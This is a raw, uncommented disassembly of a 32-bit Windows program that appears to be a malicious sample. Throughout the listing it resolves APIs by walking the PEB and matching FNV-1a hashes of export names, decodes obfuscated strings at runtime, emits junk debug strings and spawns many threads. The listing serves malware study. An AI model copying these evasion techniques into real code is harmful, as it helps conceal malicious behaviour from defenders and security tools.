call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.KLlerkl3hrh45y47
call ebx
call fcn.0041ee20
call fcn.0041ee90
call fcn.0041ef00
call fcn.0041ef70
call fcn.0041eff0
mov ecx, 0x5360b8
call fcn.00462db0
test al, al
je 0x46011c
mov ecx, 0x5360b8
call fcn.00462dd0
test al, al
jne 0x46011c
lea ecx, [ebp - 0x1c1]
mov dword [ebp - 0x1c1], 0xa061402
mov dword [ebp - 0x1bd], 0x1e081936
mov dword [ebp - 0x1b9], 0x10b08
mov byte [ebp - 0x1b5], 1
call fcn.0040d520
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.00462dc0
test al, al
je 0x46011c
lea ecx, [ebp - 0x1ce]
mov dword [ebp - 0x1ce], 0xa061402
mov dword [ebp - 0x1ca], 0x1e081936
mov dword [ebp - 0x1c6], 0x10b08
mov byte [ebp - 0x1c2], 1
call fcn.0040d520
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x169]
mov byte [0x533aab], al
mov dword [ebp - 0x169], 0xa061402
mov dword [ebp - 0x165], 0xc1e36
mov byte [ebp - 0x161], 1
call fcn.0040b3d0
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x2d]
mov byte [0x533ab5], al
mov dword [ebp - 0x2d], 0xa061402
mov dword [ebp - 0x29], 0x180e36
mov byte [ebp - 0x25], 1
call fcn.0040b3d0
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x66]
mov byte [0x533aaa], al
mov dword [ebp - 0x66], 0xa061402
mov dword [ebp - 0x62], 0xa1d36
mov dword [ebp - 0x5e], 0x31b0b01
mov word [ebp - 0x5a], 0x100
call fcn.0040e9f0
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x1dd]
mov byte [0x533aa9], al
mov dword [ebp - 0x1dd], 0xa061402
mov dword [ebp - 0x1d9], 0x5030336
mov dword [ebp - 0x1d5], 0x2001a1e
mov word [ebp - 0x1d1], 8
mov byte [ebp - 0x1cf], 1
call fcn.0040a230
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x173]
mov byte [0x533ab4], al
mov dword [ebp - 0x173], 0xa061402
mov dword [ebp - 0x16f], 0x1c1f0c36
mov word [ebp - 0x16b], 0x100
call fcn.0040e990
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x1a7]
mov byte [0x533ab6], al
mov dword [ebp - 0x1a7], 0xa061402
mov dword [ebp - 0x1a3], 0x10a0d36
mov dword [ebp - 0x19f], 0x1001d08
call fcn.0040e9c0
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
mov byte [0x533aa8], al
movaps xmm0, xmmword [0x524c90]
lea ecx, [ebp - 0x399]
movups xmmword [ebp - 0x399], xmm0
mov byte [ebp - 0x389], 1
call fcn.0040e960
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x17d]
mov byte [0x533ab8], al
mov dword [ebp - 0x17d], 0xa061402
mov dword [ebp - 0x179], 0x21b1c36
mov word [ebp - 0x175], 0x100
call fcn.0040e990
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
lea ecx, [ebp - 0x187]
mov byte [0x533ab7], al
mov dword [ebp - 0x187], 0x37021510
mov dword [ebp - 0x183], 0xf051c01
mov word [ebp - 0x17f], 0x100
call fcn.0040e990
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
movaps xmm0, xmmword [0x525630]
lea ecx, [ebp - 0xce]
mov byte [0x535ea3], al
movups xmmword [ebp - 0xce], xmm0
mov dword [ebp - 0xbe], 0x1001701
call fcn.0040ea20
push eax
mov ecx, 0x5360b8
call fcn.00469670
mov ecx, eax
call fcn.004698e0
mov byte [0x535e83], al
push 0x5204b8
lea ecx, [ebp - 0x304]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2ec]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2d4]
call fcn.00402700
lea eax, [ebp - 0x2a8]
mov ecx, 0x536170
push eax
call fcn.00462c30
lea eax, [ebp - 0x344]
mov ecx, 0x536170
push eax
call fcn.00462bc0
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00466ae0
test al, al
jne 0x460818
mov ebx, dword [ebp - 0x10]
nop dword [eax + eax]
lea ecx, [ebp - 0x2a8]
call fcn.00462300
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0xd9], 0xd0a070b
mov edi, eax
mov word [ebp - 0xd5], 0x100
call fcn.00462730
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.004791e0
movaps xmm0, xmmword [0x525b40]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x4928131b
mov word [ebp - 0xbc], 0x100
call fcn.004624c0
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465020
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x4603be
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0x1d0b0713
mov word [ebp - 0x122], 0xc
mov byte [ebp - 0x120], 1
call fcn.00462950
lea eax, [ebp - 0x126]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.004791e0
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465430
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x56150459
mov word [ebp - 0x3e], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465020
cmp eax, 0xffffffff
je 0x4603be
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1006c68
call fcn.004628b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.004027f0
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4602f4
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0x56150459
mov word [ebp - 0x92], 0x100
call fcn.00462730
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.004027f0
lea ecx, [ebp - 0x96]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460342
sub ecx, edx
lea eax, [ebp - 0x96]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402810
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x304]
call fcn.0040c250
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x56150459
mov word [ebp - 0x3e], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465020
cmp eax, 0xffffffff
jne 0x4602d1
lea ecx, [ebp - 0xe5]
mov dword [ebp - 0xe5], 0xd0a070b
mov word [ebp - 0xe1], 0x100
call fcn.00462730
lea eax, [ebp - 0xe5]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.004791e0
movaps xmm0, xmmword [0x525b40]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x4a28131b
mov word [ebp - 0xbc], 0x100
call fcn.004624c0
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465020
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x4605cd
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x1d0b0713
mov word [ebp - 0x129], 0xc
mov byte [ebp - 0x127], 1
call fcn.00462950
lea eax, [ebp - 0x12d]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.004697b0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465430
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x56150459
mov word [ebp - 0x44], 0x100
call fcn.00462730
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465020
cmp eax, 0xffffffff
je 0x4605cd
nop
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x1006c68
call fcn.004628b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.004027f0
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460503
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x56150459
mov word [ebp - 0x98], 0x100
call fcn.00462730
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.004027f0
lea ecx, [ebp - 0x9c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460551
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402810
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2ec]
call fcn.0040c250
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x56150459
mov word [ebp - 0x44], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465020
cmp eax, 0xffffffff
jne 0x4604e0
lea ecx, [ebp - 0xdf]
mov dword [ebp - 0xdf], 0xd0a070b
mov word [ebp - 0xdb], 0x100
call fcn.00462730
lea eax, [ebp - 0xdf]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.004791e0
movaps xmm0, xmmword [0x525b40]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x4b28131b
mov word [ebp - 0xbc], 0x100
call fcn.004624c0
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465020
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x4607ed
lea ecx, [ebp - 0x11f]
mov dword [ebp - 0x11f], 0x1d0b0713
mov word [ebp - 0x11b], 0xc
mov byte [ebp - 0x119], 1
call fcn.00462950
lea eax, [ebp - 0x11f]
mov ecx, edi
push eax
call fcn.00469670
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.004697b0
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465430
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x56150459
mov word [ebp - 0x4a], 0x100
call fcn.00462730
push esi
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465020
cmp eax, 0xffffffff
je 0x4607ed
nop
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x1006c68
call fcn.004628b0
push ebx
lea ecx, [ebp - 0x20c]
call fcn.004027f0
lea ecx, [ebp - 0x84]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460720
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0x56150459
mov word [ebp - 0xa6], 0x100
call fcn.00462730
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.004027f0
lea ecx, [ebp - 0xaa]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460771
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402810
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2d4]
call fcn.0040c250
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x56150459
mov word [ebp - 0x4a], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465020
cmp eax, 0xffffffff
jne 0x4606f0
lea ecx, [ebp - 0x2a8]
call fcn.004622b0
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00466ae0
test al, al
je 0x460190
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x2d4]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.00409520
add esp, 0x48
cmp byte [0x535ea9], 0
jne 0x46172b
call fcn.0044ac30
call fcn.0044d240
push str.erye_tyrt_yu56_jfyt_ujtyuj
call ebx
mov ecx, 0x536034
call fcn.00461ec0
mov ecx, 0x536158
call fcn.00461ec0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44da20
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44ec20
push 0
push 0
mov dword [ebp - 0x24], eax
call esi
push 0
push 0
push 0
push 0x452c10
push 0
push 0
mov dword [ebp - 0x3c], eax
call esi
mov dword [ebp - 0x38], eax
call fcn.0043b8b0
test al, al
je 0x460956
lea ecx, [ebp - 0x3c8]
call fcn.0043bb40
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1000909
mov edi, eax
mov dword [ebp - 0x1c], 0x1001907
call fcn.00410070
sub esp, 0x10
mov dword [ebp - 0x19b], 0x4120733
mov esi, esp
mov dword [ebp - 0x197], 0x2922351d
mov ecx, edi
mov word [ebp - 0x193], 0x100
push eax
call fcn.00469670
push eax
mov ecx, esi
call fcn.004630b0
lea ecx, [ebp - 0x19b]
call fcn.0040e990
push eax
mov ecx, 0x5360f0
call fcn.00469670
mov ecx, eax
call fcn.00463070
lea ecx, [ebp - 0x3c8]
call fcn.00463050
call fcn.0043bb10
lea ecx, [ebp - 0x358]
call fcn.0043ca00
lea ecx, [ebp - 0x145]
mov dword [ebp - 0x145], 0x1000909
mov edi, eax
mov dword [ebp - 0x141], 0x1001907
call fcn.00462400
movaps xmm0, xmmword [0x525650]
lea ecx, [ebp - 0x298]
movups xmmword [ebp - 0x298], xmm0
mov dword [ebp - 0x288], 0x1000519
call fcn.004625b0
sub esp, 0x10
lea eax, [ebp - 0x145]
mov esi, esp
mov ecx, edi
push eax
call fcn.00469670
push eax
mov ecx, esi
call fcn.004630b0
lea eax, [ebp - 0x298]
mov ecx, 0x5360f0
push eax
call fcn.00469670
mov ecx, eax
call fcn.00463070
push dword [ebp - 0x358]
lea ecx, [ebp - 0x350]
call fcn.00466c50
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460a59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460a59
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460a52
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460a35
cmp esi, 0x71948ca4
je 0x460a5d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460a20
mov eax, dword [eax]
jmp 0x4609f5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0
push 0x5b063
call fcn.00407d20
add esp, 8
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460b09
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460b09
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460b02
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ae5
cmp esi, 0x71948ca4
je 0x460b0d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460ad0
mov eax, dword [eax]
jmp 0x460aa5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460ba4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460ba4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460b9d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460b80
cmp esi, 0xfaba0065
je 0x460ba8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460b66
mov eax, dword [eax]
jmp 0x460b40
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460c34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460c34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460c2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460c10
cmp esi, 0xfaba0065
je 0x460c38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460bf8
mov eax, dword [eax]
jmp 0x460bd2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460cc4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460cc4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460cbd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ca0
cmp esi, 0xfaba0065
je 0x460cc8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460c88
mov eax, dword [eax]
jmp 0x460c62
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4531d0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x454b70
push 0
push 0
mov dword [ebp - 0x24], eax
call ebx
push 0
push 0
push 0
push 0x457ba0
push 0
push 0
mov dword [ebp - 0x3c], eax
call ebx
push 0
push 0
push 0
push 0x459e00
push 0
push 0
mov dword [ebp - 0x38], eax
call ebx
push 0
push 0
push 0
push 0x45c9a0
push 0
push 0
mov dword [ebp - 0x78], eax
call ebx
push 0
push 0
push 0
push 0x45cb00
push 0
push 0
mov dword [ebp - 0x6c], eax
call ebx
push 0
push 0
push 0
push 0x45e650
push 0
push 0
mov dword [ebp - 0x74], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x70], eax
mov ecx, esp
push 0x533ad4
call fcn.004655b0
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
lea eax, [ebp - 0x27c]
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
mov ecx, esp
push 0x533aec
call fcn.004655b0
call fcn.0040d550
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460e34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460e34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460e2d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460e10
cmp esi, 0x71948ca4
je 0x460e38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460df6
mov eax, dword [eax]
jmp 0x460dd0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460ec9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460ec9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460ec2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ea5
cmp esi, 0x71948ca4
je 0x460ecd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460e90
mov eax, dword [eax]
jmp 0x460e67
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460f74
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460f74
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460f6d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460f50
cmp esi, 0x71948ca4
je 0x460f78
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460f36
mov eax, dword [eax]
jmp 0x460f10
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461019
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461019
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461012
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ff5
cmp esi, 0x71948ca4
je 0x46101d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460fe0
mov eax, dword [eax]
jmp 0x460fb5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
